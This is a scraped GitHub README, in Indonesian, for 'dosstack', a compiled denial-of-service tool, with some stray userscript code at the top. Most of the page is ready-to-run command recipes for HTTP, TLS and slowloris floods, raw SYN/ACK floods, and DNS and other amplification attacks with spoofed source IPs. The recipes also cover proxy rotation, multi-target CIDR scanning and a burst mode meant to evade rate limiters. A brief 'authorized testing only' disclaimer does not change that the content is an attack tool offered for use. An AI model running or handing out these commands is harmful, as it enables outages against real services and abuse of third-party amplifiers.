, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
Skip to content

Repository files navigation

██████╗ ██████╗ ███████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
██╔══██╗██╔═══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██║ ██║██║ ██║███████╗███████╗ ██║ ███████║██║ █████╔╝
██║ ██║██║ ██║╚════██║╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██████╔╝╚██████╔╝███████║███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
By.IshikawaUta — DoS Framework — Authorized Testing Only
Compiled Binary — No Python Required

⚠️ PERINGATAN HUKUM: Alat ini hanya untuk pengujian otorisasi pada sistem yang Anda miliki atau telah mendapatkan izin tertulis. Penyalahgunaan untuk serangan tanpa izin adalah tindak pidana di banyak negara. Penulis tidak bertanggung jawab atas penyalahgunaan.


Fitur

  • 19 mode serangan: HTTP, TCP, UDP, Slowloris, ICMP, TLS, Mixed, SYN/ACK/RST/FIN/SYNACK raw, IP frag, dan 6 amplifikasi (DNS/NTP/SSDP/Memcached/SNMP/CharGEN)
  • 3 engine: Thread pool, epoll event loop (10k+ koneksi), multiprocessing (multi-core)
  • Connection pooling: HTTP keep-alive reuse untuk throughput tinggi
  • Burst mode: Burst lalu idle untuk evade rate limiter
  • Bandwidth control: Batasi outbound traffic (kbps)
  • Multi-target: File daftar target atau CIDR scan (--scan)
  • Spoof IP: Raw socket dengan source IP palsu (root)
  • Proxy rotation: Rotasi proxy otomatis dari file
  • Attack profiles: Simpan/muat konfigurasi
  • Real-time stats: Live dashboard dengan rich
  • Output JSON: Simpan hasil akhir

Instalasi

git clone https://github.com/IshikawaUta/dosstack.git
cd dosstack
chmod +x dosstack-cli dosstack-gui

Binary PyInstaller standalone — tidak perlu Python, rich, atau dependencies apapun.


Penggunaan Dasar

./dosstack-cli <target> -m <mode> -t <threads> -d <duration>
ArgumenDeskripsiDefault
targetIP atau hostname (atau CIDR dengan --scan)wajib
-m, --modeMode seranganhttp
-t, --threadsJumlah thread/worker100
-d, --durationDurasi detik (0 = unlimited)60
-p, --portPort target80
--timeoutTimeout koneksi (detik)5

Mode Serangan

ModeKeteranganRoot?
httpHTTP GET/POST flood
tcpTCP connect flood
udpUDP flood
slowlorisSlowloris keep-alive
icmpICMP echo floodya
tlsTLS handshake flood
mixedKombinasi acak http/tcp/udp/tls
synRaw TCP SYN floodya
ackRaw TCP ACK floodya
rstRaw TCP RST floodya
finRaw TCP FIN floodya
synackRaw TCP SYN-ACK floodya
fragIP fragmentation floodya
dns_ampDNS amplification (port 53)
ntp_ampNTP amplification (port 123)
ssdp_ampSSDP amplification (port 1900)
memcache_ampMemcached amplification (port 11211)
snmp_ampSNMP amplification (port 161)
chargen_ampCharGEN amplification (port 19)

Engine

Tiga engine yang bisa dipilih:

EngineFlagKeunggulanUse Case
Thread pool(default)Stabil, kompatibelSerangan umum ≤1000 threads
Epoll event loop--epoll10k+ koneksi simultanHTTP flood massive
Multiprocessing--mp --processes NMulti-coreDistributed attack
AsyncIO--workers asyncNon-blocking I/OBanyak koneksi idle (slowloris)

Contoh Engine

# Thread pool (default)
./dosstack-cli target.com -m http -t 500 -d 60
# Epoll event loop — 10k+ koneksi
./dosstack-cli target.com -m http -t 2000 -d 120 --epoll
# Multiprocessing — semua core
./dosstack-cli target.com -m http --mp -t 2000 -d 60
# Multiprocessing — 4 proses spesifik
./dosstack-cli target.com -m http --mp --processes 4 -t 1000
# AsyncIO workers
./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 60

Opsi Detail

Opsi HTTP

ArgumenDeskripsi
--path /loginPath HTTP
--random-pathPath acak tiap request
--method POSTMetode HTTP (GET/POST/HEAD/PUT/OPTIONS)
--body '{"x":1}'Body untuk POST/PUT
--no-agentNonaktifkan User-Agent acak
--no-refererNonaktifkan Referer acak
--header "X-Custom: val"Custom header (bisa diulang)

Opsi Raw TCP (root required)

ArgumenDeskripsi
--tcp-flag synTCP flag (syn/ack/rst/fin/synack)
--frag-size 24Ukuran payload fragment
--spoof-ip 1.2.3.4IP sumber palsu

Opsi Amplifikasi

ArgumenDeskripsi
--amp-proto dnsProtokol amplifikasi
--dns-server 8.8.8.8DNS server target
--packet-count 10Packet per burst

Opsi Slowloris

ArgumenDeskripsi
--slowloris-sockets 400Maks socket per worker
--keepalive-interval 10Interval keepalive (detik)

Opsi Mixed

ArgumenDeskripsi
--weights 25 25 25 25Bobot HTTP TCP UDP TLS

Performance

ArgumenDeskripsi
--reuse-connHTTP keep-alive connection reuse
--pool-size 200Ukuran connection pool
--ramp-up 10Ramp-up gradual (detik)
--concurrency 500Concurrency untuk async workers

Evasion & Traffic Shaping

ArgumenDeskripsi
--interval 0.1Delay antar request (detik)
--jitter 0.5Jitter acak untuk interval
--burstBurst mode
--burst-size 100Request per burst
--burst-interval 2Durasi burst (detik)
--idle-interval 1Idle antar burst (detik)
--max-kbps 500Batas bandwidth

Proxy

ArgumenDeskripsi
--proxy-file proxies.txtFile daftar proxy (satu per baris: ip:port atau user:pass@ip:port)
--proxy-rotate 10Rotasi tiap N request

Multi-target

ArgumenDeskripsi
--targets-file list.txtTarget dari file (satu per baris)
--scanExpand CIDR (contoh: 10.0.0.0/24)

Output & Logging

ArgumenDeskripsi
--output hasil.jsonSimpan statistik ke JSON
--log-file attack.logLog ke file
--log-level DEBUGLevel logging
--quietMinimal output

Profile & Config

ArgumenDeskripsi
--profile-save heavySimpan argumen sebagai profile
--profile-load heavyMuat profile
--profile-listLihat daftar profile
--profile-delete heavyHapus profile
--config-saveSimpan konfigurasi
--config-loadMuat konfigurasi

Kombinasi Siap Pakai

HTTP Flood — 500 thread, 60 detik

./dosstack-cli target.com -m http -t 500 -d 60 --random-path --header "X-Bypass: 1"

HTTP Epoll — 2000 thread, connection reuse

./dosstack-cli target.com -m http -t 2000 -d 120 --epoll --reuse-conn --pool-size 500

TLS Handshake — HTTPS

./dosstack-cli target.com -m tls -p 443 -t 200 -d 60

Slowloris — 400 socket

./dosstack-cli target.com -m slowloris -t 200 -d 300 --slowloris-sockets 400 --keepalive-interval 10

Mixed — multiprocessing 4 core

./dosstack-cli target.com -m mixed -t 2000 -d 60 --mp --processes 4 --weights 25 25 25 25

SYN Flood — spoof IP (root)

sudo ./dosstack-cli target.com -m syn -t 10 -d 30 --spoof-ip 192.168.1.1

DNS Amplification — spoof (root)

sudo ./dosstack-cli target.com -m dns_amp -p 53 -t 5 -d 30 --spoof-ip 1.2.3.4

Burst Mode — evade rate limiter

./dosstack-cli target.com -m http -t 100 -d 120 --burst --burst-size 50 --burst-interval 1 --idle-interval 2

Bandwidth Controlled — 100 kbps

./dosstack-cli target.com -m tcp -t 100 -d 60 --max-kbps 100

Async Workers — unlimited duration

./dosstack-cli target.com -m http --workers async --concurrency 2000 -d 0

Multi-target — CIDR scan

./dosstack-cli 10.0.0.0/28 -m http --scan -t 200 -d 30 --epoll

Proxy Rotation

./dosstack-cli target.com -m http -t 100 -d 60 --proxy-file proxies.txt --proxy-rotate 10

Screenshots

About

DoS testing framework with 19 attack modes, 3 engines (thread/epoll/multiprocessing), connection pooling, burst mode, bandwidth control, proxy rotation, multi-target, and spoof IP. Compiled standalone binary — no Python required.

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors